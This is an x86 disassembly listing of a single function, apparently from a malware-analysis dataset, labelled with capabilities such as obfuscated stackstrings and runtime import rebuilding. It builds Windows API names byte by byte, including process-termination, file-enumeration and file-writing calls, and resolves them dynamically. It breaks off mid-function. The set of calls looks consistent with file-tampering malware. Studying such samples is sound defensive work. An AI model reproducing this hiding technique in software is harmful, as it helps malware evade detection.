Function at 0x4033d8
Capabilities:
Contain obfuscated stackstrings
Link many functions at runtime
Rebuild import table

Disassembly:
sub esp, 0x12c
push ebx
push ebp
push esi
mov esi, ecx
lea eax, [esp + 0xd4]
push edi
push eax
mov dword [esi], 0x428080
mov byte [esp + 0xdc], 0x4b
mov byte [esp + 0xdd], 0x45
mov byte [esp + 0xde], 0x52
mov byte [esp + 0xdf], 0x4e
mov byte [esp + 0xe0], 0x45
mov byte [esp + 0xe1], 0x4c
mov byte [esp + 0xe2], 0x33
mov byte [esp + 0xe3], 0x32
mov byte [esp + 0xe4], 0x2e
mov byte [esp + 0xe5], 0x44
mov byte [esp + 0xe6], 0x4c
mov byte [esp + 0xe7], 0x4c
mov byte [esp + 0xe8], 0
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
lea ecx, [esp + 0x10]
mov ebp, eax
mov bl, 0x65
push ecx
push ebp
mov byte [esp + 0x18], 0x50
mov byte [esp + 0x19], 0x72
mov byte [esp + 0x1a], 0x6f
mov byte [esp + 0x1b], 0x63
mov byte [esp + 0x1c], bl
mov byte [esp + 0x1d], 0x73
mov byte [esp + 0x1e], 0x73
mov byte [esp + 0x1f], 0x33
mov byte [esp + 0x20], 0x32
mov byte [esp + 0x21], 0x4e
mov byte [esp + 0x22], bl
mov byte [esp + 0x23], 0x78
mov byte [esp + 0x24], 0x74
mov byte [esp + 0x25], 0
call edi
lea edx, [esp + 0x10]
mov dword [esi + 4], eax
push edx
push ebp
mov byte [esp + 0x18], 0x50
mov byte [esp + 0x19], 0x72
mov byte [esp + 0x1a], 0x6f
mov byte [esp + 0x1b], 0x63
mov byte [esp + 0x1c], bl
mov byte [esp + 0x1d], 0x73
mov byte [esp + 0x1e], 0x73
mov byte [esp + 0x1f], 0x33
mov byte [esp + 0x20], 0x32
mov byte [esp + 0x21], 0x46
mov byte [esp + 0x22], 0x69
mov byte [esp + 0x23], 0x72
mov byte [esp + 0x24], 0x73
mov byte [esp + 0x25], 0x74
mov byte [esp + 0x26], 0
call edi
mov dword [esi + 8], eax
mov byte [esp + 0x10], 0x43
mov byte [esp + 0x11], 0x72
mov byte [esp + 0x12], bl
mov byte [esp + 0x13], 0x61
mov byte [esp + 0x14], 0x74
mov byte [esp + 0x15], bl
mov byte [esp + 0x16], 0x54
mov byte [esp + 0x17], 0x6f
mov byte [esp + 0x18], 0x6f
mov byte [esp + 0x19], 0x6c
mov byte [esp + 0x1a], 0x68
mov byte [esp + 0x1b], bl
mov byte [esp + 0x1c], 0x6c
mov byte [esp + 0x1d], 0x70
mov byte [esp + 0x1e], 0x33
mov byte [esp + 0x1f], 0x32
mov byte [esp + 0x20], 0x53
lea eax, [esp + 0x10]
mov byte [esp + 0x21], 0x6e
push eax
push ebp
mov byte [esp + 0x2a], 0x61
mov byte [esp + 0x2b], 0x70
mov byte [esp + 0x2c], 0x73
mov byte [esp + 0x2d], 0x68
mov byte [esp + 0x2e], 0x6f
mov byte [esp + 0x2f], 0x74
mov byte [esp + 0x30], 0
call edi
lea ecx, [esp + 0x10]
mov dword [esi + 0xc], eax
push ecx
push ebp
mov byte [esp + 0x18], 0x54
mov byte [esp + 0x19], bl
mov byte [esp + 0x1a], 0x72
mov byte [esp + 0x1b], 0x6d
mov byte [esp + 0x1c], 0x69
mov byte [esp + 0x1d], 0x6e
mov byte [esp + 0x1e], 0x61
mov byte [esp + 0x1f], 0x74
mov byte [esp + 0x20], bl
mov byte [esp + 0x21], 0x50
mov byte [esp + 0x22], 0x72
mov byte [esp + 0x23], 0x6f
mov byte [esp + 0x24], 0x63
mov byte [esp + 0x25], bl
mov byte [esp + 0x26], 0x73
mov byte [esp + 0x27], 0x73
mov byte [esp + 0x28], 0
call edi
lea edx, [esp + 0x10]
mov dword [esi + 0x10], eax
push edx
push ebp
mov byte [esp + 0x18], 0x43
mov byte [esp + 0x19], 0x72
mov byte [esp + 0x1a], bl
mov byte [esp + 0x1b], 0x61
mov byte [esp + 0x1c], 0x74
mov byte [esp + 0x1d], bl
mov byte [esp + 0x1e], 0x50
mov byte [esp + 0x1f], 0x72
mov byte [esp + 0x20], 0x6f
mov byte [esp + 0x21], 0x63
mov byte [esp + 0x22], bl
mov byte [esp + 0x23], 0x73
mov byte [esp + 0x24], 0x73
mov byte [esp + 0x25], 0x41
mov byte [esp + 0x26], 0
call edi
mov dword [esi + 0x14], eax
lea eax, [esp + 0x10]
push eax
push ebp
mov byte [esp + 0x18], 0x4f
mov byte [esp + 0x19], 0x70
mov byte [esp + 0x1a], bl
mov byte [esp + 0x1b], 0x6e
mov byte [esp + 0x1c], 0x50
mov byte [esp + 0x1d], 0x72
mov byte [esp + 0x1e], 0x6f
mov byte [esp + 0x1f], 0x63
mov byte [esp + 0x20], bl
mov byte [esp + 0x21], 0x73
mov byte [esp + 0x22], 0x73
mov byte [esp + 0x23], 0
call edi
mov dword [esi + 0x18], eax
mov byte [esp + 0x10], 0x47
mov byte [esp + 0x11], bl
mov byte [esp + 0x12], 0x74
mov byte [esp + 0x13], 0x45
mov byte [esp + 0x14], 0x78
mov byte [esp + 0x15], 0x69
mov byte [esp + 0x16], 0x74
mov byte [esp + 0x17], 0x43
mov byte [esp + 0x18], 0x6f
lea ecx, [esp + 0x10]
mov byte [esp + 0x19], 0x64
push ecx
push ebp
mov byte [esp + 0x22], bl
mov byte [esp + 0x23], 0x50
mov byte [esp + 0x24], 0x72
mov byte [esp + 0x25], 0x6f
mov byte [esp + 0x26], 0x63
mov byte [esp + 0x27], bl
mov byte [esp + 0x28], 0x73
mov byte [esp + 0x29], 0x73
mov byte [esp + 0x2a], 0
call edi
lea edx, [esp + 0x10]
mov dword [esi + 0x1c], eax
push edx
push ebp
mov byte [esp + 0x18], 0x47
mov byte [esp + 0x19], bl
mov byte [esp + 0x1a], 0x74
mov byte [esp + 0x1b], 0x43
mov byte [esp + 0x1c], 0x75
mov byte [esp + 0x1d], 0x72
mov byte [esp + 0x1e], 0x72
mov byte [esp + 0x1f], bl
mov byte [esp + 0x20], 0x6e
mov byte [esp + 0x21], 0x74
mov byte [esp + 0x22], 0x50
mov byte [esp + 0x23], 0x72
mov byte [esp + 0x24], 0x6f
mov byte [esp + 0x25], 0x63
mov byte [esp + 0x26], bl
mov byte [esp + 0x27], 0x73
mov byte [esp + 0x28], 0x73
mov byte [esp + 0x29], 0
call edi
mov dword [esi + 0x20], eax
lea eax, [esp + 0x10]
push eax
push ebp
mov byte [esp + 0x18], 0x47
mov byte [esp + 0x19], bl
mov byte [esp + 0x1a], 0x74
mov byte [esp + 0x1b], 0x43
mov byte [esp + 0x1c], 0x75
mov byte [esp + 0x1d], 0x72
mov byte [esp + 0x1e], 0x72
mov byte [esp + 0x1f], bl
mov byte [esp + 0x20], 0x6e
mov byte [esp + 0x21], 0x74
mov byte [esp + 0x22], 0x50
mov byte [esp + 0x23], 0x72
mov byte [esp + 0x24], 0x6f
mov byte [esp + 0x25], 0x63
mov byte [esp + 0x26], bl
mov byte [esp + 0x27], 0x73
mov byte [esp + 0x28], 0x73
mov byte [esp + 0x29], 0x49
mov byte [esp + 0x2a], 0x64
mov byte [esp + 0x2b], 0
call edi
lea ecx, [esp + 0x10]
mov dword [esi + 0x24], eax
push ecx
push ebp
mov byte [esp + 0x18], 0x43
mov byte [esp + 0x19], 0x72
mov byte [esp + 0x1a], bl
mov byte [esp + 0x1b], 0x61
mov byte [esp + 0x1c], 0x74
mov byte [esp + 0x1d], bl
mov byte [esp + 0x1e], 0x50
mov byte [esp + 0x1f], 0x69
mov byte [esp + 0x20], 0x70
mov byte [esp + 0x21], bl
mov byte [esp + 0x22], 0
call edi
mov dword [esi + 0x28], eax
mov byte [esp + 0x10], 0x44
mov byte [esp + 0x11], 0x75
lea edx, [esp + 0x10]
mov byte [esp + 0x12], 0x70
push edx
push ebp
mov byte [esp + 0x1b], 0x6c
mov byte [esp + 0x1c], 0x69
mov byte [esp + 0x1d], 0x63
mov byte [esp + 0x1e], 0x61
mov byte [esp + 0x1f], 0x74
mov byte [esp + 0x20], bl
mov byte [esp + 0x21], 0x48
mov byte [esp + 0x22], 0x61
mov byte [esp + 0x23], 0x6e
mov byte [esp + 0x24], 0x64
mov byte [esp + 0x25], 0x6c
mov byte [esp + 0x26], bl
mov byte [esp + 0x27], 0
call edi
mov dword [esi + 0x2c], eax
lea eax, [esp + 0x10]
push eax
push ebp
mov byte [esp + 0x18], 0x4f
mov byte [esp + 0x19], 0x70
mov byte [esp + 0x1a], bl
mov byte [esp + 0x1b], 0x6e
mov byte [esp + 0x1c], 0x45
mov byte [esp + 0x1d], 0x76
mov byte [esp + 0x1e], bl
mov byte [esp + 0x1f], 0x6e
mov byte [esp + 0x20], 0x74
mov byte [esp + 0x21], 0x41
mov byte [esp + 0x22], 0
call edi
lea ecx, [esp + 0x10]
mov dword [esi + 0x30], eax
push ecx
push ebp
mov byte [esp + 0x18], 0x43
mov byte [esp + 0x19], 0x72
mov byte [esp + 0x1a], bl
mov byte [esp + 0x1b], 0x61
mov byte [esp + 0x1c], 0x74
mov byte [esp + 0x1d], bl
mov byte [esp + 0x1e], 0x54
mov byte [esp + 0x1f], 0x68
mov byte [esp + 0x20], 0x72
mov byte [esp + 0x21], bl
mov byte [esp + 0x22], 0x61
mov byte [esp + 0x23], 0x64
mov byte [esp + 0x24], 0
call edi
lea edx, [esp + 0x10]
mov dword [esi + 0x34], eax
push edx
push ebp
mov byte [esp + 0x18], 0x47
mov byte [esp + 0x19], bl
mov byte [esp + 0x1a], 0x74
mov byte [esp + 0x1b], 0x46
mov byte [esp + 0x1c], 0x69
mov byte [esp + 0x1d], 0x6c
mov byte [esp + 0x1e], bl
mov byte [esp + 0x1f], 0x53
mov byte [esp + 0x20], 0x69
mov byte [esp + 0x21], 0x7a
mov byte [esp + 0x22], bl
mov byte [esp + 0x23], 0
call edi
mov dword [esi + 0x38], eax
lea eax, [esp + 0x10]
push eax
push ebp
mov byte [esp + 0x18], 0x53
mov byte [esp + 0x19], 0x6c
mov byte [esp + 0x1a], bl
mov byte [esp + 0x1b], bl
mov byte [esp + 0x1c], 0x70
mov byte [esp + 0x1d], 0
call edi
mov dword [esi + 0x3c], eax
lea ecx, [esp + 0x10]
mov byte [esp + 0x10], 0x44
push ecx
push ebp
mov byte [esp + 0x19], bl
mov byte [esp + 0x1a], 0x6c
mov byte [esp + 0x1b], bl
mov byte [esp + 0x1c], 0x74
mov byte [esp + 0x1d], bl
mov byte [esp + 0x1e], 0x46
mov byte [esp + 0x1f], 0x69
mov byte [esp + 0x20], 0x6c
mov byte [esp + 0x21], bl
mov byte [esp + 0x22], 0x41
mov byte [esp + 0x23], 0
call edi
lea edx, [esp + 0x10]
mov dword [esi + 0x40], eax
push edx
push ebp
mov byte [esp + 0x18], 0x43
mov byte [esp + 0x19], 0x6c
mov byte [esp + 0x1a], 0x6f
mov byte [esp + 0x1b], 0x73
mov byte [esp + 0x1c], bl
mov byte [esp + 0x1d], 0x48
mov byte [esp + 0x1e], 0x61
mov byte [esp + 0x1f], 0x6e
mov byte [esp + 0x20], 0x64
mov byte [esp + 0x21], 0x6c
mov byte [esp + 0x22], bl
mov byte [esp + 0x23], 0
call edi
mov dword [esi + 0x44], eax
lea eax, [esp + 0x10]
push eax
push ebp
mov byte [esp + 0x18], 0x53
mov byte [esp + 0x19], bl
mov byte [esp + 0x1a], 0x74
mov byte [esp + 0x1b], 0x45
mov byte [esp + 0x1c], 0x76
mov byte [esp + 0x1d], bl
mov byte [esp + 0x1e], 0x6e
mov byte [esp + 0x1f], 0x74
mov byte [esp + 0x20], 0
call edi
lea ecx, [esp + 0x10]
mov dword [esi + 0x48], eax
push ecx
push ebp
mov byte [esp + 0x18], 0x52
mov byte [esp + 0x19], bl
mov byte [esp + 0x1a], 0x61
mov byte [esp + 0x1b], 0x64
mov byte [esp + 0x1c], 0x46
mov byte [esp + 0x1d], 0x69
mov byte [esp + 0x1e], 0x6c
mov byte [esp + 0x1f], bl
mov byte [esp + 0x20], 0
call edi
lea edx, [esp + 0x10]
mov dword [esi + 0x4c], eax
push edx
push ebp
mov byte [esp + 0x18], 0x43
mov byte [esp + 0x19], 0x72
mov byte [esp + 0x1a], bl
mov byte [esp + 0x1b], 0x61
mov byte [esp + 0x1c], 0x74
mov byte [esp + 0x1d], bl
mov byte [esp + 0x1e], 0x46
mov byte [esp + 0x1f], 0x69
mov byte [esp + 0x20], 0x6c
mov byte [esp + 0x21], bl
mov byte [esp + 0x22], 0x41
mov byte [esp + 0x23], 0
call edi
mov dword [esi + 0x50], eax
mov byte [esp + 0x10], 0x47
mov byte [esp + 0x11], bl
lea eax, [esp + 0x10]
mov byte [esp + 0x12], 0x74
push eax
push ebp
mov byte [esp + 0x1b], 0x54
mov byte [esp + 0x1c], bl
mov byte [esp + 0x1d], 0x6d
mov byte [esp + 0x1e], 0x70
mov byte [esp + 0x1f], 0x50
mov byte [esp + 0x20], 0x61
mov byte [esp + 0x21], 0x74
mov byte [esp + 0x22], 0x68
mov byte [esp + 0x23], 0x41
mov byte [esp + 0x24], 0
call edi
lea ecx, [esp + 0x10]
mov dword [esi + 0x54], eax
push ecx
push ebp
mov byte [esp + 0x18], 0x47
mov byte [esp + 0x19], bl
mov byte [esp + 0x1a], 0x74
mov byte [esp + 0x1b], 0x53
mov byte [esp + 0x1c], 0x79
mov byte [esp + 0x1d], 0x73
mov byte [esp + 0x1e], 0x74
mov byte [esp + 0x1f], bl
mov byte [esp + 0x20], 0x6d
mov byte [esp + 0x21], 0x44
mov byte [esp + 0x22], 0x69
mov byte [esp + 0x23], 0x72
mov byte [esp + 0x24], bl
mov byte [esp + 0x25], 0x63
mov byte [esp + 0x26], 0x74
mov byte [esp + 0x27], 0x6f
mov byte [esp + 0x28], 0x72
mov byte [esp + 0x29], 0x79
mov byte [esp + 0x2a], 0x41
mov byte [esp + 0x2b], 0
call edi
lea edx, [esp + 0x10]
mov dword [esi + 0x58], eax
push edx
push ebp
mov byte [esp + 0x18], 0x47
mov byte [esp + 0x19], bl
mov byte [esp + 0x1a], 0x74
mov byte [esp + 0x1b], 0x57
mov byte [esp + 0x1c], 0x69
mov byte [esp + 0x1d], 0x6e
mov byte [esp + 0x1e], 0x64
mov byte [esp + 0x1f], 0x6f
mov byte [esp + 0x20], 0x77
mov byte [esp + 0x21], 0x73
mov byte [esp + 0x22], 0x44
mov byte [esp + 0x23], 0x69
mov byte [esp + 0x24], 0x72
mov byte [esp + 0x25], bl
mov byte [esp + 0x26], 0x63
mov byte [esp + 0x27], 0x74
mov byte [esp + 0x28], 0x6f
mov byte [esp + 0x29], 0x72
mov byte [esp + 0x2a], 0x79
mov byte [esp + 0x2b], 0x41
mov byte [esp + 0x2c], 0
call edi
mov dword [esi + 0x5c], eax
lea eax, [esp + 0x10]
push eax
push ebp
mov byte [esp + 0x18], 0x46
mov byte [esp + 0x19], 0x69
mov byte [esp + 0x1a], 0x6e
mov byte [esp + 0x1b], 0x64
mov byte [esp + 0x1c], 0x43
mov byte [esp + 0x1d], 0x6c
mov byte [esp + 0x1e], 0x6f
mov byte [esp + 0x1f], 0x73
mov byte [esp + 0x20], bl
mov byte [esp + 0x21], 0
call edi
lea ecx, [esp + 0x10]
mov dword [esi + 0x60], eax
push ecx
push ebp
mov byte [esp + 0x18], 0x46
mov byte [esp + 0x19], 0x69
mov byte [esp + 0x1a], 0x6e
mov byte [esp + 0x1b], 0x64
mov byte [esp + 0x1c], 0x46
mov byte [esp + 0x1d], 0x69
mov byte [esp + 0x1e], 0x72
mov byte [esp + 0x1f], 0x73
mov byte [esp + 0x20], 0x74
mov byte [esp + 0x21], 0x46
mov byte [esp + 0x22], 0x69
mov byte [esp + 0x23], 0x6c
mov byte [esp + 0x24], bl
mov byte [esp + 0x25], 0x41
mov byte [esp + 0x26], 0
call edi
lea edx, [esp + 0x10]
mov dword [esi + 0x64], eax
push edx
push ebp
mov byte [esp + 0x18], 0x43
mov byte [esp + 0x19], 0x72
mov byte [esp + 0x1a], bl
mov byte [esp + 0x1b], 0x61
mov byte [esp + 0x1c], 0x74
mov byte [esp + 0x1d], bl
mov byte [esp + 0x1e], 0x45
mov byte [esp + 0x1f], 0x76
mov byte [esp + 0x20], bl
mov byte [esp + 0x21], 0x6e
mov byte [esp + 0x22], 0x74
mov byte [esp + 0x23], 0x41
mov byte [esp + 0x24], 0
call edi
mov dword [esi + 0x68], eax
lea eax, [esp + 0x10]
push eax
push ebp
mov byte [esp + 0x18], 0x54
mov byte [esp + 0x19], bl
mov byte [esp + 0x1a], 0x72
mov byte [esp + 0x1b], 0x6d
mov byte [esp + 0x1c], 0x69
mov byte [esp + 0x1d], 0x6e
mov byte [esp + 0x1e], 0x61
mov byte [esp + 0x1f], 0x74
mov byte [esp + 0x20], bl
mov byte [esp + 0x21], 0x54
mov byte [esp + 0x22], 0x68
mov byte [esp + 0x23], 0x72
mov byte [esp + 0x24], bl
mov byte [esp + 0x25], 0x61
mov byte [esp + 0x26], 0x64
mov byte [esp + 0x27], 0
call edi
mov dword [esi + 0x6c], eax
mov byte [esp + 0x10], 0x57
mov byte [esp + 0x11], 0x61
mov byte [esp + 0x12], 0x69
mov byte [esp + 0x13], 0x74
mov byte [esp + 0x14], 0x46
mov byte [esp + 0x15], 0x6f
mov byte [esp + 0x16], 0x72
mov byte [esp + 0x17], 0x53
mov byte [esp + 0x18], 0x69
mov byte [esp + 0x19], 0x6e
mov byte [esp + 0x1a], 0x67
mov byte [esp + 0x1b], 0x6c
mov byte [esp + 0x1c], bl
mov byte [esp + 0x1d], 0x4f
mov byte [esp + 0x1e], 0x62
mov byte [esp + 0x1f], 0x6a
mov byte [esp + 0x20], bl
mov byte [esp + 0x21], 0x63
mov byte [esp + 0x22], 0x74
mov byte [esp + 0x23], 0
lea ecx, [esp + 0x10]
push ecx
push ebp
call edi
lea edx, [esp + 0x10]
mov dword [esi + 0x70], eax
push edx
push ebp
mov byte [esp + 0x18], 0x47
mov byte [esp + 0x19], bl
mov byte [esp + 0x1a], 0x74
mov byte [esp + 0x1b], 0x4d
mov byte [esp + 0x1c], 0x6f
mov byte [esp + 0x1d], 0x64
mov byte [esp + 0x1e], 0x75
mov byte [esp + 0x1f], 0x6c
mov byte [esp + 0x20], bl
mov byte [esp + 0x21], 0x46
mov byte [esp + 0x22], 0x69
mov byte [esp + 0x23], 0x6c
mov byte [esp + 0x24], bl
mov byte [esp + 0x25], 0x4e
mov byte [esp + 0x26], 0x61
mov byte [esp + 0x27], 0x6d
mov byte [esp + 0x28], bl
mov byte [esp + 0x29], 0x41
mov byte [esp + 0x2a], 0
call edi
mov dword [esi + 0x74], eax
lea eax, [esp + 0x10]
push eax
push ebp
mov byte [esp + 0x18], 0x57
mov byte [esp + 0x19], 0x72
mov byte [esp + 0x1a], 0x69
mov byte [esp + 0x1b], 0x74
mov byte [esp + 0x1c], bl
mov byte [esp + 0x1d], 0x46
mov byte [esp + 0x1e], 0x69
mov byte [esp + 0x1f], 0x6c
mov byte [esp + 0x20], bl
mov byte [esp + 0x21], 0
call edi
lea ecx, [esp + 0x10]
mov dword [esi + 0x78], eax
push ecx
push ebp
mov byte [esp + 0x18], 0x52
mov byte [esp + 0x19], bl
mov byte [esp + 0x1a], 0x73
mov byte [esp + 0x1b], bl
mov byte [esp + 0x1c], 0x74
mov byte [esp + 0x1d], 0x45
mov byte [esp + 0x1e], 0x76
mov byte [esp + 0x1f], bl
mov byte [esp + 0x20], 0x6e
mov byte [esp + 0x21], 0x74
mov byte [esp + 0x22], 0
call edi
mov dword [esi + 0x7c], eax
mov byte [esp + 0x10], 0x57
mov byte [esp + 0x11], 0x61
mov byte [esp + 0x12], 0x69
mov byte [esp + 0x13], 0x74
mov byte [esp + 0x14], 0x46
mov byte [esp + 0x15], 0x6f
mov byte [esp + 0x16], 0x72
mov byte [esp + 0x17], 0x4d
mov byte [esp + 0x18], 0x75
mov byte [esp + 0x19], 0x6c
mov byte [esp + 0x1a], 0x74
mov byte [esp + 0x1b], 0x69
mov byte [esp + 0x1c], 0x70
mov byte [esp + 0x1d], 0x6c
mov byte [esp + 0x1e], bl
mov byte [esp + 0x1f], 0x4f
mov byte [esp + 0x20], 0x62
mov byte [esp + 0x21], 0x6a
mov byte [esp + 0x22], bl
mov byte [esp + 0x23], 0x63
mov byte [esp + 0x24], 0x74
mov byte [esp + 0x25], 0x73
lea edx, [esp + 0x10]
mov byte [esp + 0x26], 0
push edx
push ebp
call edi
mov dword [esi + 0x80], eax
lea eax, [esp + 0x10]
push eax
push ebp
mov byte [esp + 0x18], 0x47
mov byte [esp + 0x19], bl
mov byte [esp + 0x1a], 0x74
mov byte [esp + 0x1b], 0x53
mov byte [esp + 0x1c], 0x68
mov byte [esp + 0x1d], 0x6f
mov byte [esp + 0x1e], 0x72
mov byte [esp + 0x1f], 0x74
mov byte [esp + 0x20], 0x50
mov byte [esp + 0x21], 0x61
mov byte [esp + 0x22], 0x74
mov byte [esp + 0x23], 0x68
mov byte [esp + 0x24], 0x4e
mov byte [esp + 0x25], 0x61
mov byte [esp + 0x26], 0x6d
mov byte [esp + 0x27], bl
mov byte [esp + 0x28], 0x41
mov byte [esp + 0x29], 0
call edi
lea ecx, [esp + 0x10]
mov dword [esi + 0x84], eax
push ecx
push ebp
mov byte [esp + 0x18], 0x43
mov byte [esp + 0x19], 0x72
mov byte [esp + 0x1a], bl
mov byte [esp + 0x1b], 0x61
mov byte [esp + 0x1c], 0x74
mov byte [esp + 0x1d], bl
mov byte [esp + 0x1e], 0x44
mov byte [esp + 0x1f], 0x69
mov byte [esp + 0x20], 0x72
mov byte [esp + 0x21], bl
mov byte [esp + 0x22], 0x63
mov byte [esp + 0x23], 0x74
mov byte [esp + 0x24], 0x6f
mov byte [esp + 0x25], 0x72
mov byte [esp + 0x26], 0x79
mov byte [esp + 0x27], 0x41
mov byte [esp + 0x28], 0
call edi
lea edx, [esp + 0x10]
mov dword [esi + 0x88], eax
push edx
push ebp
mov byte [esp + 0x18], 0x47
mov byte [esp + 0x19], bl
mov byte [esp + 0x1a], 0x74
mov byte [esp + 0x1b], 0x54
mov byte [esp + 0x1c], 0x69
mov byte [esp + 0x1d], 0x63
mov byte [esp + 0x1e], 0x6b
mov byte [esp + 0x1f], 0x43
mov byte [esp + 0x20], 0x6f
mov byte [esp + 0x21], 0x75
mov byte [esp + 0x22], 0x6e
mov byte [esp + 0x23], 0x74
mov byte [esp + 0x24], 0
call edi
mov dword [esi + 0x8c], eax
mov byte [esp + 0x10], 0x53
mov byte [esp + 0x11], bl
mov byte [esp + 0x12], 0x74
mov byte [esp + 0x13], 0x46
mov byte [esp + 0x14], 0x69
mov byte [esp + 0x15], 0x6c
mov byte [esp + 0x16], bl
mov byte [esp + 0x17], 0x41
mov byte [esp + 0x18], 0x74
mov byte [esp + 0x19], 0x74
mov byte [esp + 0x1a], 0x72
mov byte [esp + 0x1b], 0x69
lea eax, [esp + 0x10]
mov byte [esp + 0x1c], 0x62
push eax
push ebp
mov byte [esp + 0x25], 0x75
mov byte [esp + 0x26], 0x74
mov byte [esp + 0x27], bl
mov byte [esp + 0x28], 0x73
mov byte [esp + 0x29], 0x41
mov byte [esp + 0x2a], 0
call edi
lea ecx, [esp + 0x10]
mov dword [esi + 0x90], eax
push ecx
push ebp
mov byte [esp + 0x18], 0x47
mov byte [esp + 0x19], bl
mov byte [esp + 0x1a], 0x74
mov byte [esp + 0x1b], 0x46
mov byte [esp + 0x1c], 0x69
mov byte [esp + 0x1d], 0x6c
mov byte [esp + 0x1e], bl
mov byte [esp + 0x1f], 0x41
mov byte [esp + 0x20], 0x74
mov byte [esp + 0x21], 0x74
mov byte [esp + 0x22], 0x72
mov byte [esp + 0x23], 0x69
mov byte [esp + 0x24], 0x62
mov byte [esp + 0x25], 0x75
mov byte [esp + 0x26], 0x74
mov byte [esp + 0x27], bl
mov byte [esp + 0x28], 0x73
mov byte [esp + 0x29], 0x41
mov byte [esp + 0x2a], 0
call edi
lea edx, [esp + 0x10]
mov dword [esi + 0x94], eax
push edx
push ebp
mov byte [esp + 0x18], 0x4d
mov byte [esp + 0x19], 0x75
mov byte [esp + 0x1a], 0x6c
mov byte [esp + 0x1b], 0x74
mov byte [esp + 0x1c], 0x69
mov byte [esp + 0x1d], 0x42
mov byte [esp + 0x1e], 0x79
mov byte [esp + 0x1f], 0x74
mov byte [esp + 0x20], bl
mov byte [esp + 0x21], 0x54
mov byte [esp + 0x22], 0x6f
mov byte [esp + 0x23], 0x57
mov byte [esp + 0x24], 0x69
mov byte [esp + 0x25], 0x64
mov byte [esp + 0x26], bl
mov byte [esp + 0x27], 0x43
mov byte [esp + 0x28], 0x68
mov byte [esp + 0x29], 0x61
mov byte [esp + 0x2a], 0x72
mov byte [esp + 0x2b], 0
call edi
mov dword [esi + 0x98], eax
mov byte [esp + 0x10], 0x47
mov byte [esp + 0x11], bl
mov byte [esp + 0x12], 0x74
mov byte [esp + 0x13], 0x51
mov byte [esp + 0x14], 0x75
mov byte [esp + 0x15], bl
mov byte [esp + 0x16], 0x75
mov byte [esp + 0x17], bl
mov byte [esp + 0x18], 0x64
mov byte [esp + 0x19], 0x43
mov byte [esp + 0x1a], 0x6f
mov byte [esp + 0x1b], 0x6d
mov byte [esp + 0x1c], 0x70
mov byte [esp + 0x1d], 0x6c
mov byte [esp + 0x1e], bl
mov byte [esp + 0x1f], 0x74
mov byte [esp + 0x20], 0x69
mov byte [esp + 0x21], 0x6f
mov byte [esp + 0x22], 0x6e
mov byte [esp + 0x23], 0x53
lea eax, [esp + 0x10]
mov byte [esp + 0x24], 0x74
push eax
push ebp
mov byte [esp + 0x2d], 0x61
mov byte [esp + 0x2e], 0x74
mov byte [esp + 0x2f], 0x75
mov byte [esp + 0x30], 0x73
mov byte [esp + 0x31], 0
call edi
lea ecx, [esp + 0x10]
mov dword [esi + 0x9c], eax
push ecx
push ebp
mov byte [esp + 0x18], 0x50
mov byte [esp + 0x19], 0x6f
mov byte [esp + 0x1a], 0x73
mov byte [esp + 0x1b], 0x74
mov byte [esp + 0x1c], 0x51
mov byte [esp + 0x1d], 0x75
mov byte [esp + 0x1e], bl
mov byte [esp + 0x1f], 0x75
mov byte [esp + 0x20], bl
mov byte [esp + 0x21], 0x64
mov byte [esp + 0x22], 0x43
mov byte [esp + 0x23], 0x6f
mov byte [esp + 0x24], 0x6d
mov byte [esp + 0x25], 0x70
mov byte [esp + 0x26], 0x6c
mov byte [esp + 0x27], bl
mov byte [esp + 0x28], 0x74
mov byte [esp + 0x29], 0x69
mov byte [esp + 0x2a], 0x6f
mov byte [esp + 0x2b], 0x6e
mov byte [esp + 0x2c], 0x53
mov byte [esp + 0x2d], 0x74
mov byte [esp + 0x2e], 0x61
mov byte [esp + 0x2f], 0x74
mov byte [esp + 0x30], 0x75
mov byte [esp + 0x31], 0x73
mov byte [esp + 0x32], 0
call edi
lea edx, [esp + 0x10]
mov dword [esi + 0xa0], eax
push edx
push ebp
mov byte [esp + 0x18], 0x43
mov byte [esp + 0x19], 0x72
mov byte [esp + 0x1a], bl
mov byte [esp + 0x1b], 0x61
mov byte [esp + 0x1c], 0x74
mov byte [esp + 0x1d], bl
mov byte [esp + 0x1e], 0x49
mov byte [esp + 0x1f], 0x6f
mov byte [esp + 0x20], 0x43
mov byte [esp + 0x21], 0x6f
mov byte [esp + 0x22], 0x6d
mov byte [esp + 0x23], 0x70
mov byte [esp + 0x24], 0x6c
mov byte [esp + 0x25], bl
mov byte [esp + 0x26], 0x74
mov byte [esp + 0x27], 0x69
mov byte [esp + 0x28], 0x6f
mov byte [esp + 0x29], 0x6e
mov byte [esp + 0x2a], 0x50
mov byte [esp + 0x2b], 0x6f
mov byte [esp + 0x2c], 0x72
mov byte [esp + 0x2d], 0x74
mov byte [esp + 0x2e], 0
call edi
mov dword [esi + 0xa4], eax
mov byte [esp + 0x10], 0x47
mov byte [esp + 0x11], bl
mov byte [esp + 0x12], 0x74
mov byte [esp + 0x13], 0x44
mov byte [esp + 0x14], 0x72
mov byte [esp + 0x15], 0x69
mov byte [esp + 0x16], 0x76
mov byte [esp + 0x17], bl
mov byte [esp + 0x18], 0x54
mov byte [esp + 0x19], 0x79
lea eax, [esp + 0x10]
mov byte [esp + 0x1a], 0x70
push eax
push ebp
mov byte [esp + 0x23], bl
mov byte [esp + 0x24], 0x41
mov byte [esp + 0x25], 0
call edi
lea ecx, [esp + 0x10]
mov dword [esi + 0xa8], eax
push ecx
push ebp
mov byte [esp + 0x18], 0x47
mov byte [esp + 0x19], bl
mov byte [esp + 0x1a], 0x74
mov byte [esp + 0x1b], 0x56
mov byte [esp + 0x1c], 0x6f
mov byte [esp + 0x1d], 0x6c
mov byte [esp + 0x1e], 0x75
mov byte [esp + 0x1f], 0x6d
mov byte [esp + 0x20], bl
mov byte [esp + 0x21], 0x49
mov byte [esp + 0x22], 0x6e
mov byte [esp + 0x23], 0x66
mov byte [esp + 0x24], 0x6f
mov byte [esp + 0x25], 0x72
mov byte [esp + 0x26], 0x6d
mov byte [esp + 0x27], 0x61
mov byte [esp + 0x28], 0x74
mov byte [esp + 0x29], 0x69
mov byte [esp + 0x2a], 0x6f
mov byte [esp + 0x2b], 0x6e
mov byte [esp + 0x2c], 0x41
mov byte [esp + 0x2d], 0
call edi
lea edx, [esp + 0x10]
mov dword [esi + 0xac], eax
push edx
push ebp
mov byte [esp + 0x18], 0x53
mov byte [esp + 0x19], bl
mov byte [esp + 0x1a], 0x74
mov byte [esp + 0x1b], 0x46
mov byte [esp + 0x1c], 0x69
mov byte [esp + 0x1d], 0x6c
mov byte [esp + 0x1e], bl
